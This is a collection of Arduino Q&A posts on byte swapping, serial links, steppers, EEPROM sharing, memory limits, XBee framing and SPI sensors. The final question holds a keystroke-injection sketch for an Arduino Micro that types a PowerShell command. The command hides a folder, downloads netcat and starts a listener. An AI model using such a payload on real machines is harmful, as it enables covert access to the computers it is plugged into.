Note however, that debugging/breakpoints are not used often anyway since mostly it's more realtime controlled than PC applications.

If you need breakpoints etc. probably the easiest is to make stubs for some libraries and first develop the application not using Arduino and later use the Visual Micro plugin. [Update: it seems breakpoints are possible with vMirco, I never got them to work though].


Reverse the order of a hex string I'm printing an "unsigned long" value to HEX via:

println(cardCode, HEX);

The value that I'm getting is: 69fb879d

I need it to be reversed as: 9d87fb69

I populate cardCode via the code:

for (i=1;i<bitCount;i++)
{
  cardCode <<=1;
  cardCode |= databits[i];
}

going into this my bitCount value is 32, so basically I'm populating cardCode based on 32 bits from the variable databits which is of type unsigned char.

I am absolutely crap at bitwise conversions (bit-shifting, etc.), is there a simple way to do this reversal?  Is this even enough information to go on?

Your issue seems to be byte order (big endian) and not bit order. The simplest solution to byte order swap is to use the builtin functions provided by the compiler (AVR GCC).

unsigned long cardCode;
...
Serial.print(__builtin_bswap32(cardCode), HEX);

There are two compiler builtin functions for byte order swap. One for 16-bit data and one for 32-bit data.

uint16_t __builtin_bswap16(uint16_t);
uint32_t __builtin_bswap32(uint32_t);

AVR MCUs are little endian (least significant byte first in memory). There are many devices that use big endian (most significant byte first). This is also known as network order. There are a set of functions/macros to help write portable code, especially device drivers.

#include <arpa/inet.h>
uint32_t htonl(uint32_t hostlong);
uint16_t htons(uint16_t hostshort);
uint32_t ntohl(uint32_t netlong);
uint16_t ntohs(uint16_t netshort);

These are used to map data from host to network byte order and reverse. They are defined as byte swap functions for hosts with little endian byte order. Unfortunately they are not available in the GCC AVR library but easy to define.

#define htonl(x) __builtin_bswap32((uint32_t) (x))
...

Cheers!


What are the purposes of the different LED lights on a Arduino UNO board? The LEDs namely L, TX and RX on the board.
Furthermore, whenever the board is connected, the L LED blinks to the frequency of the delay that I set. [Eg: delay(1000);]
If I miss any other LED, do mention their purposes as well!
Thank you

'L' shows the state of pin13 which is programmable by you for any purpose, whether to read or write to an external device, or just for turn the LED on and off as you have done.

'RX' and 'TX' show the states of the Receive and Transmit pins, respectively, and allow you see when serial communication is taking place.


Implement Visible Light communication using Arduino I want to implement a simple VLC based communication system using two Arduinos and send messages/data/files between two PCs. For that I have a simple transmitter circuit with an LED on Tx side and a photo-transistor on the receiver side. The codes im using for transmission and reception are attached below, also the circuit image is attached below, but im unable to bring about any communication between the two PCs, the transmitter side works fine as the LED flickers indicating data is being transferred, but its not being received by the photo transistor. I don't know what im doing wrong. Any help would be appreciated, I am doing this as a part of my academics.
Transmitter Code :

void setup()
{
  pinMode(9, OUTPUT);
  pinMode(10, OUTPUT);

  // Clear Timer on Compare Match (CTC) Mode
  bitWrite(TCCR1A, WGM10, 0);
  bitWrite(TCCR1A, WGM11, 0);
  bitWrite(TCCR1B, WGM12, 1);
  bitWrite(TCCR1B, WGM13, 0);

  // Toggle OC1A and OC1B on Compare Match.
  bitWrite(TCCR1A, COM1A0, 1);
  bitWrite(TCCR1A, COM1A1, 0);
  bitWrite(TCCR1A, COM1B0, 1);
  bitWrite(TCCR1A, COM1B1, 0);

  // No prescaling
  bitWrite(TCCR1B, CS10, 1);
  bitWrite(TCCR1B, CS11, 0);
  bitWrite(TCCR1B, CS12, 0);

  OCR1A = 210;
  OCR1B = 210;

  Serial.begin(2400);
}

void loop()
{
  Serial.println("testing testing testing");
  delay(500);
}

Receiver Code:

void setup()
{
  Serial.begin(2400);
  pinMode(13, OUTPUT);
}

void loop()
{
  // if incoming serial
  if (Serial.available()) {
    readSerial();
    digitalWrite(13, HIGH);
  }
  else {
    digitalWrite(13, LOW);
  }
  delay(500);
}
void readSerial() {
  char val = Serial.read();
  Serial.print(val);
}

the transmitter works fine, but the receiver is not receiving anything, I don't know what i'm doing wrong.

The amplitude of the signal at the photodetector is small. Better use ADC for reading.


Stepper Motor not Stepping Properly I have an Arduino Uno connected to the Adafruit Motorshield v2. I have it hooked up to a stepper motor(27BYJ-48). I am trying to make the motor do one complete revolution. However, the number of steps I specify to the stepper motor(200 in the code) doesn't affect the motor steps. For example, the 2200 step in this code, is roughly one rotation and is completely unaffected by change the steps/revolution specified when instantiating the motor. How do I get the motor to do one exact revolution?

Here is the code on the arduino:

#include <Wire.h>
#include <Adafruit_MotorShield.h>
#include "utility/Adafruit_MS_PWMServoDriver.h"

Adafruit_MotorShield AFMS = Adafruit_MotorShield();
Adafruit_StepperMotor *myMotor = AFMS.getStepper(200, 2);

void setup() {
  Serial.begin(9600);           // set up Serial library at 9600 bps
  Serial.println("Stepper test!");

  AFMS.begin();  // create with the default frequency 1.6KHz

  myMotor->setSpeed(2000);  // 10 rpm
}

void loop() {
  Serial.println("Single coil steps");
  myMotor->step(2200, FORWARD, DOUBLE);
  myMotor->step(2200, BACKWARD, DOUBLE);
}

Edit:
Wiring:

Ok so I'm not familiar with the sheild or API (or motor lol) but going off the spec sheets etc

Leave the red wire disconnected [see 1] and try this code and report back what happens:

  #include <Wire.h>
  #include <Adafruit_MotorShield.h>
  #include "utility/Adafruit_MS_PWMServoDriver.h"

  Adafruit_MotorShield AFMS = Adafruit_MotorShield();
  Adafruit_StepperMotor *myMotor = AFMS.getStepper(64, 2); // 64 steps pr revolution
                                                           // Using M3 and M4 of shield

  void setup()
  {
    AFMS.begin();  // create with the default frequency 1.6KHz
    myMotor->setSpeed(30);  // 30 rpm, so 1 full turn every 2sec
  }

  void loop()
  {
    // 64 steps per motor shaft revolution,
    // 64 revolutions of motor per output shaft revolution
    myMotor->step(4096, FORWARD, DOUBLE);    // Should be 1 rev in one direction
    myMotor->step(4096, BACKWARD, DOUBLE);   // and 1 rev in other direction
  }

[1] : your motor is unipolar (wikipedia on unipolar and bipolar motors), according to its documentation. The red wire is the central tap, and useless in this context.


about how to share one External serial EEprom using two microcontrollers? strong texti have Vector nav100 IMU sensor that sends data serially UART.I want to receive data from it using ATmega32 and then store data in AT24c1024 EEprom using I2C,then using another ATmega32 to read the saved data on AT24c1024 EEprom using I2C to control a servo motor..so,the AT24c1024 EEprom is then shared between the two microcontrollers...i have serached the internet about how to share one  External serial EEprom,i found that......(On way would be for the two  mcrocontrollers to have an output line as an input to the other. A master that is "using" the EEPROM perhaps pulls his output low (or high - your choice) to say "I'm using it at the moment". The other reads his input first before going near the EEPROM if he finds the line active he backs off until it is set inactive by the other master.i tried this solution but i failed...can any one help me on this solution ?
Thanks in advance......
this is my code

{

    //the first MCU fristly check the pin
    //if high,then write,then set it low to allow read
    //the second MCU fristly check the pin
    //if low ,then write,then set it high to allow write

    //for the MCu that will write
    //first it will check for the pin ,if it is LOW,
    //then it can write data to EEprom
                     DDRA=0x00;//configure portA as input
            if(PINA==0x00)//check for the pin, if LOw,then wirte
    {
        byte_write(data);
        _delay_ms(10);
    //After writing set the pin as high to allow the second MCU to read
        DDRA=0xff;//configure portA as output
        PORTA=0xff;//set the pin as high
        _delay_ms(10);}

    //for the MCu that will read,i set adelay of 10 ms
    // to allow the first MCU to write some data

                         _delay_ms(1000);//delay from the data to be written on the EEprom
                 DDRA=0x00;//configure portA as input
        if(PINA==0x01)//check for the pin, if HIGH,then read
    {
             y=byte_read(data);
            DDRA=0xff;configure portA as output
            PORTA=0x00;//set the pin as high

}

You didn't show us a complete, minimal, compilable example, so my answer will only cover some important points.

Your indention is way off. It is important to use the correct indention, since it help structure your code and will let you quickly see misplaced brackets. The Arduino IDE even has an autoformat function for this.
You are configuring and checking always the whole PORT A, but you have only connected one of the pins. When you configure the whole port as input (without pullup), the other pins will be floating. Also, if both devices have the pin on input (no pullup), this pin will also be floating. The check cannot work this way. You should only look at the first bit in the port registers, since that is the pin, that you connected. You can set all other bits to zero when reading, by performing a bitwise AND operation: if(PINA & (1<<PA0)). This will execute, when the first bit of PINA is 1. To set a single bit you can use the bitwise OR: DDRA |= 1<<PA0; will set the first bit of DDRA. To erase only that bit from the register, you can use DDRA &= ~(1<<PA0);. The rest of the port will stay untoched with this.
Your current protocol is, that the first MCU will check for LOW, do it' transmission, then drive the pin actively HIGH as a signal for the second MCU to start transmitting. The second MCU will do it's I2C stuff and then drive the pin actively LOW. So now we have an active LOW and active HIGH on the same pin, which in principle is a short. A rather big amount of current will flow from one MCU to the other, most likely destroying at least one of the pins (meaning the output hardware in the MCU, that serves that pin). To avoid this, you can use a principle like that, that the I2C port uses: Open Drain logic. You can start with the first MCU's pin configured as OUTPUT LOW, while the other is INPUT PULLUP. LOW means the first MCU can work. If the first MCU want's the second MCU to do a transmission, it will release the line by setting the PIN to INPUT PULLUP. The second MCU now sees a HIGH level on it's pin and starts it's transmission. When it is finished, it will drive the line actively LOW for a defined duration (enough for the first MCU to react) and then to INPUT PULLUP again. The first MCU will then see a LOW level on it's pin as a signal, that the second MCU is finished. It then itself drives the line actively LOW. Then the play starts again. The important thing is, that a HIGH state is only done by a pullup, not actively driven.

That said, I still don't see the necessity to share an external EEPROM for this use case. You are overthinking the problem. You wrote, that you don't want to miss a frame, if the second MCU is still processing the last frame. There are better ways to do that (especially when you consider the limited lifetime of EEPROM).

You didn't tell us, why you are using 2 MCU's, so maybe your goal can be reached with only 1 MCU, which will eliminate the whole need for transmission.
You could use another UART interface via SoftwareSerial or it's sibling libraries to let the MCU's communicate directly. "Not missing a frame" will still be the case, when you are not disabling interrupts. The library will read the data into a buffer in interrupts, while you are processing the previous frame. Depending on how much data you send, you might want to make the buffer bigger, but that is a simple change in the libraries definitions.
If you want to use I2C to communicate between both MCU's, you have 2 ways of doing it. You can either go the same way as described above for UART, by just letting it fill a big enough buffer, or you can do this through the bus transmissions. The first MCU would be the master, that tries to send the data to the second MCU (slave), when there is new data available. The slave will receive the data normally. When the frame is finished receiving, the slave can leave the bus, until it is finished processing. So, when the master tries to send more data in this time, the transmission will fail at the start, since no slave with that address is on the bus (the slave MCU left the bus for this period of time). You can check the return value of Wire.endTransmission(), which will reflect the corresponding error code. If this error code is returned, the master should wait a bit and try to send this frame again, until it is received successfully. That also means, that the master needs a big enough buffer for storing new data, while waiting for the slave to be ready. Or another way: The master can request 1 byte from the slave, that indicates, if the slave is ready for new data. If not, the master will wait a bit and ask again. If yes, it will transmit the data.

Note: Either way the frequency of data reception and processing must be equal for continuous operation. The whole chain will be as fast as the slowest part. If you receive data faster, than it get's processed, the buffer will fill up fast, until you really have to drop frames. The prinicples above are more about the case, when the processing and receiving may misalign or vary a bit, but at the average staying at the same speed. And for this simple communication buffers, that all communication libraries use, with enough space for maybe 2 to 4 transmissions (depending on the variation) are way enough.


I feel like an idiot, why can't I make a servo move with the boilerplate code? So I was working on a far more grand project, until I discovered that I couldn't get any of my servos to move.

I've gone back to basics, and am trying to just get the boilerplate code found here, working.

#include <Servo.h>

Servo myservo;  // create servo object to control a servo
// twelve servo objects can be created on most boards

int pos = 0;    // variable to store the servo position

void setup() {
  myservo.attach(9);  // attaches the servo on pin 9 to the servo object
}

void loop() {
  for (pos = 0; pos <= 180; pos += 1) { // goes from 0 degrees to 180 degrees
    // in steps of 1 degree
    myservo.write(pos);              // tell servo to go to position in variable 'pos'
    delay(15);                       // waits 15ms for the servo to reach the position
  }
  for (pos = 180; pos >= 0; pos -= 1) { // goes from 180 degrees to 0 degrees
    myservo.write(pos);              // tell servo to go to position in variable 'pos'
    delay(15);                       // waits 15ms for the servo to reach the position
  }
}

Here are pictures of my setup.

The only thing I see that could be the problem is with your servo wiring. It seems that most servos use this kind of wiring  Which is the way that you seem to wire it, but depending on how Radioshack servos are made the signal wire could correspond with a different wire. I imagine this could possibly be on the packaging so I would start by looking there to confirm your wiring.


Display upTime using `millis()` - Arduino Uno I want to use the following function to display MCU's uptime, but after several hours I get error.
void uptime(char *ret_clk)
{
  byte days = 0;
  byte hours = 0;
  byte minutes = 0;
  byte seconds = 0;

  int sec2minutes = 60;
  int sec2hours = (sec2minutes * 60);
  int sec2days = (sec2hours * 24);

  unsigned long time_delta = millis() / 1000UL;

  days = (int)(time_delta / sec2days);
  hours = (int)((time_delta - days * sec2days) / sec2hours);
  minutes = (int)((time_delta - days * sec2days - hours * sec2hours) / sec2minutes);
  seconds = (int)(time_delta - days * sec2days - hours * sec2hours - minutes * sec2minutes);

  sprintf(ret_clk, "%01dd %02d:%02d:%02d", days, hours, minutes, seconds);
}

after 2:55 hours I got a correct answer : 0d 02:55:27
also after 4 hours, a correct answer : 0d 04:06:44
but roughly after 12 hours i get an error: 1d 02:01:27
and after roughly 20 hours I get : 2d 23:74:26
What is wrong in uptime ?

The millis function increments rapidly, hence it easily exceeds the maximum value of int -  -32768 to +32767.
So, use unsigned long data types for millis and other stuff that's large.
4 billion and some change is the max value that unsigned long data types can store, hence no overflowing till about 49 days.


Connecting two sensors to one analog pin I am completely new to programming with Arduino so please bear with me if this seems stupid.

I am using an Arduino Uno R3.
I have two sensors, a Soil Moisture sensor and an LDR Light Sensor. Both of them have one pin marked as A0 on them. So now, do I connect them both to A0 using a breadboard (Like how I am connecting multiple sensors' VCC to the 5V pin currently) OR do I use a different analog pin say A0 for one and A1 for the other? Will it make a difference?

AO is not "Ay Zero", it's "Ay Oh", and stands for "Analog Output". It means it just sends a varying voltage. It really doesn't care where it's sent to, it just sends it.

It's up to you where you connect that output to. But suffice it to say it wants to be connected to an input that can read an analog signal. And the Arduino has 6 of them.

Which one you connect it to is entirely up to you - you just have to read from that analog input by using the right pin number in analogRead().


Arduino Nano memory issue. SD card and LCD screen together When i am uploading my code to arduino nano, i am getting message about high dynamic memory usage (87%):

Sketch uses 17,628 bytes (57%) of program storage space. Maximum is 30,720 bytes.
Global variables use 1,751 bytes (85%) of dynamic memory, leaving 297 bytes for local variables. Maximum is 2,048 bytes.
Low memory available, stability problems may occur.

But despite this, its uploading to my arduino nano and everything works fine without action method's code. How to use code (code to work with LCD) wich is located in action() method. If i use hidden code, im getting message error opening test.txt (not enough memory). But if code which is controls LCD screen is annotated then SD card works fine.

If i use this code, i'm getting problem with SD card. But i can still use LCD and SD on same arduino board separately without any problems, but if i try to combine it, im getting some problems with SD card reading.

void action() {
//  display.display();
//  display.clearDisplay();
//  display.setCursor(0, 0);
//  display.setTextSize(2);
//  display.setTextColor(WHITE);
//  display.println(sensorValue);
// if uncomment this code, i am getting error with sd card reading (possible memory issue)
}

All code:

#include <Wire.h>
#include <Adafruit_SSD1306.h>

#include <SPI.h>
#include <SD.h>

#define OLED_RESET 4
Adafruit_SSD1306 display(OLED_RESET);

const int analogInPin = A0;  // Analog input pin that the potentiometer is attached to
const int analogOutPin = 9; // Analog output pin that the LED is attached to

int sensorValue = 0;        // value read from the pot
int outputValue = 0;        // value output to the PWM (analog out)

int count_iterations = 0;

#if (SSD1306_LCDHEIGHT != 32)
#error("Height incorrect, please fix Adafruit_SSD1306.h!");
#endif

File myFile;

void setup() {

  /// SD START
  // Open serial communications and wait for port to open:
  Serial.begin(9600);
  while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
  }

  Serial.print("Initializing SD card...");

  if (!SD.begin(4)) {
    Serial.println("initialization failed!");
    return;
  }
  Serial.println("initialization done.");
  myFile = SD.open("test.txt", FILE_WRITE);

  // if the file opened okay, write to it:
  if (myFile) {
    Serial.print("Writing to test.txt...");
    myFile.println("testing 1, 2, 3.");
    // close the file:
    myFile.close();
    Serial.println("done.");
  } else {
    // if the file didn't open, print an error:
    Serial.println("error opening test.txt");
  }
  myFile = SD.open("test.txt");
  if (myFile) {
    Serial.println("test.txt:");
    while (myFile.available()) {
      Serial.write(myFile.read());
    }
    myFile.close();
  } else {
    Serial.println("error opening test.txt");
  }
  //// SD END
}

void loop() {
  sensorValue = analogRead(analogInPin);
  if (sensorValue < 1000) {
    action();
  }
}

void action() {
//  display.display();
//  display.clearDisplay();
//  display.setCursor(0, 0);
//  display.setTextSize(2);
//  display.setTextColor(WHITE);
//  display.println(sensorValue);
// if uncomment this code, i am getting error with sd card reading (possible memory issue)
}

Your code is using in the neighborhood of 150 bytes for text-strings in RAM, much of which can be moved to PROGMEM quite easily.  For example, replace

Serial.print("Initializing SD card...");

by

Serial.print(F("Initializing SD card..."));

Changes like that to Serial.print() arguments should free up about 140 bytes of RAM.  To free up another 8 bytes, instead of SD.open("test.txt" ...), write SD.open(FileName ...) with FileName previously declared via char *FileName = "test.txt"; so that the text test.txt appears in RAM once instead of twice.

In short, if 150 bytes will make the difference, that much memory reduction is easy.

I briefly examined the source code behind the Adafruit_SSD1306.h and SD.h headers, to see if they use some large arrays in RAM, such as 512 bytes of sector data, or some hundreds of bytes for frame buffers.

Ordinarily, such arrays are difficult to get rid of without a rewrite from scratch or without major loss of functionality.  For most one-off projects, the effort involved isn't worthwhile:  one can instead use an Arduino Mega2560 system, which has 8 KB of RAM, vs the Arduino Nano's 2KB RAM; or can use an Arduino Due with 96KB RAM; or a Teensy, with 8, 16, or 64KB RAM.

However, if you plan a production run and are trying to hold down costs by using Nanos, consider the following approach:   Carefully arrange the processing so that you are done with SD buffers before needing a display frame buffer; and revise the libraries so the SD buffer and frame buffer overlap.  That is, place the smaller buffer within the same region of memory holding the larger buffer.  If processing can't be neatly separated, blank the display while using the shared buffer area for accessing SD data.

[Note, I edited this answer and expanded discussion of buffers in the libraries.]


XBee+Arduino communication problem I tried testing the system and I’m not sure if the problem is with the XBee’s, the transmitting code, or the receiving code. Before I post my code, I will explain what we are doing with the signals.

We have three analog signals that will be sent serially through one XBee using an Arduino and XBee shield.  We want to send these signals to the receiving xbee where the Arduino will output these signals to be connected to a third Arduino through wires to be used in a Simulink program.

We are using an Arduino mega for the transmitting side and an Arduino uno for the receiving side. I was told I need to do serial streaming but I’m not sure how that’s done. I understand the XBee and Arduinos both digitize signals but we are hoping to get a signal very similar to the analog signals we are transmitting. Any amount of help is greatly appreciated!!

This is how I have my XBees configured (series 1) both in AT mode:

  Transmitting XBee:
      Channel:10
      Pan id: 1234
      MY: 10
      DL: 11

  Receiving XBee:
      Channel:10
      Pan ID: 1234
      MY: 11
      DL: 10

Transmitting Arduino code:

void setup() {
  Serial.begin(9600);
}
void loop() {
  // read the input on analog pins
  int sensorValue1 = analogRead(A0);
  int sensorValue2 = analogRead(A1);
  int sensorValue3 = analogRead(A2);
  // print out the value you read:
  Serial.println(sensorValue1);
  Serial.println(sensorValue2);
  Serial.println(sensorValue3);
  delay(1);
}

Receiving Arduino code:

int received1=8;
int received2=9;
int received3=10;
void setup(){
  pinMode(received1, OUTPUT);
  pinMode(received2, OUTPUT);
  pinMode(received3, OUTPUT);
  Serial.begin(9600);
}
void loop(){
  if(Serial.available() )
  {
    byte output1 = Serial.read();
    byte output2 = Serial.read();
    byte output3 = Serial.read();
    digitalWrite(received1, HIGH);
    digitalWrite(received2, HIGH);
    digitalWrite(received3, HIGH);
  }
}

There are several things here:

Increase your delay, you don't want to be sending the data that often, even if you only increase it to 100-200ms, although I'd recommend making it in the order of 1-30 seconds.
You're reading in analog inputs which will be in the range of 0-1023 but your serial reads are in byte format (which will actually be reading the first three bytes (or the first three DIGITS of the first reading). More about this below.
You're reading in three arbitrary bytes, you're not identifying them at all, you have no idea what you're reading (other than by testing for a 1ms delay--which over XBee is not practical).

You have two options, transmit the data as ASCII (not a good idea IMHO), pre-pending some identifier such that:

1:259
2:0
3:1019

or even some other delimiter:

259:0:1019

But I would probably lean towards byte encoding:

byte0 :0xEA    // just some custom header for yourself
byte1H:0x01
byte1L:0x03
byte2H:0x00
byte2L:0x00
byte3H:0x03
byte3L:0xFB
byte4 :0xXX    // checksum

Or you could map the inputs down to a range of 0-255 for single byte transmission.

Next you'll need to work on receiving the data, how you do that is going to depend on how you encode the stream.

edit: I've removed the code sample that was here and replaced it with two working sketches below.

I have two XBees, running in AT mode, mine are Series 2, but programatically I THINK they are the same. If not, you'll have to tweak these, but I'm pretty sure you'll be right.

What we have are two apps, the first is the "SENDING" app, it takes three arbitrary values, they are: minutes (0-60) the micro has been running, seconds (0-60) the micro has been running, and 100 (it was random, and you can put that back if you want). Also, if you comment out the #define TESTAPP instead of using these values, it can pull three analog values from A0-A2 instead. (If you change it in the receiving app, you could have three LEDS on Pulse Width channels and vary the brightness).

/* * * * * * * */

XBEE SENDER (131)

#define TESTAPP        // Just serial data based on time

#define PACKETLENGTH   7
#define LED            13

/* * * * * * * */

void setup(){
    Serial.begin(9600);
    Serial.println("\nSender");
    randomSeed(analogRead(0));
    pinMode(LED,OUTPUT);
}

unsigned long m1 = 0;
unsigned long m2 = 0;

void loop(){
    m1 = millis()/1000;
    if(m2 != m1){
        m2 = m1;

#ifdef TESTAPP
        uint8_t  s = m1 % 60;           // how many seconds on millis()
        m1 /= 60;                       // now we're working with minutes
        uint8_t  m = m1 % 60;           // how manu minutes on millis()
        uint8_t  r = 100; //random(256);
        Serial.print("x.x");            // this is just pre-pended data for testing
        Serial.print('<');
        Serial.write(m);
        Serial.print('-');
        Serial.write(s);
        Serial.print('-');
        Serial.write(r);
        Serial.print(">  x-x");        // we want to ignore these chars
#else
        Serial.print('<');
        Serial.write(map(analogRead(A0),0,1023,0,255));
        Serial.print('-');
        Serial.write(map(analogRead(A1),0,1023,0,255));
        Serial.print('-');
        Serial.write(map(analogRead(A2),0,1023,0,255));
        Serial.print('>');
#endif
        digitalWrite(LED,!digitalRead(LED));  // toggle the LED everytime we're here
    }
    // do other stuff here...
}

You'll notice garbage characters around the data we are transporting, this is to demonstrate cycling through all serial communications to arrive at the 7 particular characters we need. That's done in the next app, the receiver:

/* * * * * * * * */

XBEE RECEIVER (121)

#define TESTAPP  // if you attach 3 LEDS to 9, 10 and 11, the remove this line.

//#define DEBUG  // uncomment this line to see all the data stream coming in

#define PACKETLENGTH  7

/* * * * * * * * */

int LED[3]={9, 10, 11};

void setup(){
  Serial.begin(9600);
  Serial.println("\nReceiver");
}

byte  buffer[PACKETLENGTH]; // what holds our serial data
byte  idx         = 0;      // the index for the buffer character being written
byte  validBuffer = 0;      // flag to tell us if we're ready to go

void loop(){
  if(validBuffer){
      #ifdef TESTAPP
          // we're just going to print it out in a different format
          validBuffer=0;
          #ifdef DEBUG
              Serial.print('\n');
          #endif
          Serial.print("Data: (");
          if (buffer[1]<10) Serial.print("0");
          Serial.print(buffer[1]);
          Serial.print(":");
          if (buffer[3]<10) Serial.print("0");
          Serial.print(buffer[3]);
          Serial.print(") (");
          Serial.print(buffer[5]);
          Serial.println(")");
      #else
          // this is the more practical side of things
          // instead of serial.printing, change the brightness
          // on three attached LEDs via PWM Pins (9, 10, 11)
          analogWrite(LED[0],buffer[1]);
          analogWrite(LED[1],buffer[3]);
          analogWrite(LED[2],buffer[5]);
      #endif
      memset(buffer, 0, PACKETLENGTH);  // we've used the data, clear it out
      idx = 0;                          // and reset the index marker
  }
}

// This is where the real magic is done. We have a buffer of
// PACKETLENGTH that takes in all Serial data and waits until
// it finds PACKETLENGTH characters in the format we're after
// Probably not the best method, but it would be unlikely to
// stumble across this pattern, although not impossible :)
// use at your own risk

void serialEvent(){
    if(validBuffer) return; //we don't want to process new Serial
                            //until we've processed the buffer
    buffer[idx] = Serial.read();
        #ifdef DEBUG
        Serial.write(buffer[idx]);
        #endif

    if (++idx==PACKETLENGTH){
        // we have enough bytes for testing, this next part could be handled better
        if(  buffer[0]=='<' &&
             buffer[2]=='-' &&
             buffer[4]=='-' &&
             buffer[6]=='>' ) { // we have a valid data packet
               validBuffer=1;
        } else {    // we don't have valid data yet, but keep
                    // what we have, shift it all over one byte and
                    // we'll check again once the next byte is received
            memmove(buffer, buffer + 1, PACKETLENGTH-1);
        }
        idx--;
    }
}


Two Arduino boards - one IDE Have been using UNO MEGA for small projects. Recently bought an UNO for other projects. Can I just go into the IDE an under Tools select UNO and a different port to do projects and rename sketches to keep track of sketches. Do not wish to use boards at the same time.

That's the way to do it.

You need to select the type of board first:

And then the port. You can have both devices connected at the time and select which one you want to program.

With Arduino you can do OTA (Over The Air uploads) to NodeMCU and other ESP8266 based systems.

If you want to run two instances of the IDE, to work with two different boards at the same time, use UECIDE.


what command should i use to read and write through spi.tranfer command #include<spi.h>
byte val;     // variabe for storing temp data
#define PIN_SPI_SS    (9)
#define PIN_SPI_MOSI  (10)
#define PIN_SPI_MISO  (11)
#define PIN_SPI_SCK   (12)

void setup();
pinMode(SS,output);
pinMode(SCLK,output);
pinMode(MOSI,output);
spi.setBitorder(MSBFIRST);
SPI.setDataMode(SPI_MODE3);
serial.begin(9600);
spi.begin();

void loop();
  digitalWrite(SS,LOW);
  uint8_t b1 = SPI.transfer(0x00);
  uint8_t b2 = SPI.transfer(0x00);
  uint8_t b3 = SPI.transfer(0xFF);
  digitalWrite(SS,HIGH);
  int16_t val = b1 | b2 ;
  serial.print("val=");
  serial.println(val,DEC);

refer for DATA SHEET//https://www.ti.com/lit/ds/symlink/lm74.pdf?ts=1591436049550&ref_url=https://www.ti.com/product/LM74
my problem is i am not able to know what command should i use in SPI.transfer function for writing & reading  temperature data here i use 0x00 for reading 16 bit data of temperture register,but what about writing in configuration register  ,LM74 use 0xFF command for shutdown mode,but  how we came to know that 0xFF refer only to configuration register.

In the LM74 the third byte you send (or more specifically the last 8 bits of up to 32 bits past the 16th bit that you send) is read and used as the configuration register setting.

Since the configuration register only has two states 0xFF is go to sleep sleep and 0x00 is do conversions (as shown in table 1 of the datasheet).

So:

0x00 0x00 0xFF

means get one result then go to sleep.

0x00 0x00 0x00

means get one result and stay awake.

If the LM74 is currently asleep from an 0x00 0x00 0xFF sequence the result you get returned is not a temperature but the chip's manufacturer ID.

It's not an obvious method of controlling a chip, and it's actually pretty poorly written in that datasheet, so don't feel bad about not understanding it, it took me a few moments to understand it.


Windows upload from command line gives Access Denied saw somewhere that in order to upload a hex file to an arduino you can look at the Arduino IDE - see the command it runs, then replace the hex file with your file.
this is the command I see in the output window:
C:\Program Files\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.42.0_x86__mdqgnx93n4wtt\hardware\tools\avr/bin/avrdude -CC:\Program Files\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.42.0_x86__mdqgnx93n4wtt\hardware\tools\avr/etc/avrdude.conf -v -patmega328p -carduino -PCOM5 -b115200 -D -Uflash:w:C:\Users\yossi\AppData\Local\Temp\arduino_build_696128/sketch_aug21a.ino.hex:i
I try running this from command (as admin):
cd "C:\Program Files\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.42.0_x86__mdqgnx93n4wtt\hardware\tools\avr\bin"
avrdude -CC:\Program Files\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.42.0_x86__mdqgnx93n4wtt\hardware\tools\avr/etc/avrdude.conf -v -patmega328p -carduino -PCOM5 -b115200 -D -Uflash:w:C:\Users\foosMaster\AppData\Local\Temp\arduino_build_696128/sketch_aug21a.ino.hex:i

gives me Access is denied.
in fact, just running avrdude gives the same error, so really - this has nothing to do with the COM port (which works fine from the IDE)
I tried closing the IDE and running again, tried rebooting - the same.
*** edit 1 ****
I actually ran this:
cd "C:\PROGRA~1\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.42.0_x86__mdqgnx93n4wtt\hardware\tools\avr\bin"
avrdude -CC:\PROGRA~1\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.42.0_x86__mdqgnx93n4wtt\hardware\tools\avr/etc/avrdude.conf -v -patmega328p -carduino -PCOM5 -b115200 -D -Uflash:w:C:\Users\foosMaster\AppData\Local\Temp\arduino_build_696128/sketch_aug21a.ino.hex:i

since I didn't want to mess with wrapping the params - but I don't really think it matters - as the problem is running avrdude without any parameter still gives me the same error: Access is denied.

This is because you are running the Windows App Store version of the IDE.
Windows doesn't like you messing with the insides of App Store programs (I think it scares it...).
Install the real version of the IDE from the Arduino.cc website and it will work.


Why does Keyboard.Print adds random values to url? I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.

Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip to a variable called $url and here is the actual output when the command executes

  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?

https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/ and copy link location of netcat 1.11 which is the same url and paste it. The url works...

I don't understand why this is happening any thoughts?

Full code

void typeKey(int key) {

  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */

void setup() {
  //Beging Keyboard Stream
  Keyboard.begin();
  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  delay(4000);
  Keyboard.press('r');
  delay(4000);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
